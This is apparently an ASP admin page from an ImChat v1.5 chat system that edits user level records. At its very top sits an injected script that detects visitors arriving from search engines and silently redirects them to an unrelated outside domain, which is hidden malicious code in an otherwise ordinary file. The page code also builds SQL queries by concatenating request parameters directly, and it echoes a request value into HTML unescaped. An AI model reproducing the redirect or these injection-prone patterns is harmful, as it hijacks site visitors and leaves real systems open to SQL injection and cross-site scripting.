d:\wwwroot\wuchunhua\liaotianim\system_manage\EditLevel.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="../inc/DAL.asp"-->
002:
<!--#include file="../inc/md5.asp"-->
003:
<!--#include file="../inc/page.asp"-->
004:
<!--#include file="Check.asp"-->
005:
<%
006:
Dim ConfigRS
007:
Set ConfigRS=Server.CreateObject( "ADODB.Recordset" )
008:
009:
if request.form("Method")="ED" then
010:
ConfigRS.OPEN "select * from [XK_Level] where [Level_ID]="&request.form("Level_ID") , DB_CONN , 1 , 3
011:
ConfigRS("Level_Name")=request.form("Level_Name")
012:
ConfigRS("Level_Icon")=request.form("Level_Icon")
013:
ConfigRS("Level_IconWidth")=request.form("Level_IconWidth")
014:
ConfigRS("Level_MinScore")=request.form("Level_MinScore")
015:
ConfigRS("Level_MaxScore")=request.form("Level_MaxScore")
016:
ConfigRS("Level_Sort")=request.form("Level_Sort")
017:
ConfigRS.update()
018:
for i=0 to (ConfigRS.Fields.count-1)
019:
Application.Lock()
020:
Application.contents("Level_"+request.form("Level_ID")+"_"+ConfigRS.Fields(i).Name)=ConfigRS(ConfigRS.Fields(i).Name)
021:
Application.Unlock()
022:
next
023:
ConfigRS.close()
024:
RW "<script>alert('修改成功!');location.href='Level_Manage.asp';</script>":response.end()
025:
end if
026:
027:
Set ConfigRS=DB_CONN.EXECUTE("select * from [XK_Level] where [Level_ID]="&request.QueryString("LevelID"))
028:
029:
%
>
030:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
031:
<html xmlns="http://www.w3.org/1999/xhtml">
032:
<head>
033:
<title>ImChat v1.5 Manage System</title>
034:
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
035:
<link href="styles/layoutContent.css" rel="stylesheet" type="text/css" />
036:
<link href="themes/blue/styles.css" rel="stylesheet" type="text/css" />
037:
<script language="javascript" src="../JS_Custom/pcasunzip.js"></script>
038:
<style>
039:
.JSTB{border:#ccc solid 1px;border-right:none;border-bottom:none;margin-top:20px;}
040:
.JSTB th,.JSTB td{border-bottom:#ccc solid 1px; border-right:#ccc solid 1px;}
041:
#KRS{padding-left:20px;}
042:
#KRS input,#KRS label{float:left;}
043:
.line{clear:both;line-height:1px;height:1px;}
044:
</style>
045:
</head>
046:
<body>
047:
<div class="contentcontainer">
048:
<div class="headings alt">
049:
<h2>等级编辑 <a href="javascript:history.back();" style="text-decoration:none;">返回</a> <a href="javascript:\\;" onclick="location.reload();" style="text-decoration:none;">刷新</a></h2>
050:
</div>
051:
<div class="contentbox">
052:
053:
<form action="#" method="post" >
054:
<table class="CB" width="100%" cellpadding="0" cellspacing="0" border="0">
055:
<tr>
056:
<td width="350">
057:
<label for="Level_Name"><strong>等级名称:</strong></label>
058:
<input type="text" id="Level_Name" name="Level_Name" class="inputbox" value="
<%
=ConfigRS("Level_Name")
%
>"/>
059:
</td>
060:
<td>
061:
<label for="Level_Sort"><strong>等级排序:</strong></label>
062:
<input type="text" id="Level_Sort" name="Level_Sort" class="inputbox" value="
<%
=ConfigRS("Level_Sort")
%
>"/>
063:
</td>
064:
</tr>
065:
<tr>
066:
<td>
067:
<label for="Level_Icon"><strong>等级图标:</strong></label>
068:
<input type="text" id="Level_Icon" name="Level_Icon" class="inputbox" value="
<%
=ConfigRS("Level_Icon")
%
>"/>
069:
</td>
070:
<td valign="middle">
071:
<img src="../
<%
=ConfigRS("Level_Icon")
%
>" border="0"/>
072:
</td>
073:
</tr>
074:
<tr>
075:
<td colspan="2">
076:
<label for="Level_IconWidth"><strong>等级图标宽度:</strong></label>
077:
<input type="text" id="Level_IconWidth" name="Level_IconWidth" class="inputbox" value="
<%
=ConfigRS("Level_IconWidth")
%
>"/>
078:
</td>
079:
</tr>
080:
<tr>
081:
<td width="350">
082:
<label for="Level_MinScore"><strong>最低积分值:</strong></label>
083:
<input type="text" id="Level_MinScore" name="Level_MinScore" class="inputbox" value="
<%
=ConfigRS("Level_MinScore")
%
>"/>
084:
</td>
085:
<td>
086:
<label for="Level_MaxScore"><strong>最高积分值:</strong></label>
087:
<input type="text" id="Level_MaxScore" name="Level_MaxScore" class="inputbox" value="
<%
=ConfigRS("Level_MaxScore")
%
>"/>
088:
</td>
089:
</tr>
090:
<tr>
091:
<td colspan="2">
092:
<input type="hidden" value="
<%
=request("LevelID")
%
>" name="Level_ID"/>
093:
<input type="hidden" value="ED" name="Method"/>
094:
<input type="submit" value="修改" class="btn" />
095:
</td>
096:
</tr>
097:
</table>
098:
</form>
099:
</div>
100:
</div>
101:
</body>
102:
</html>
103:
104:
105: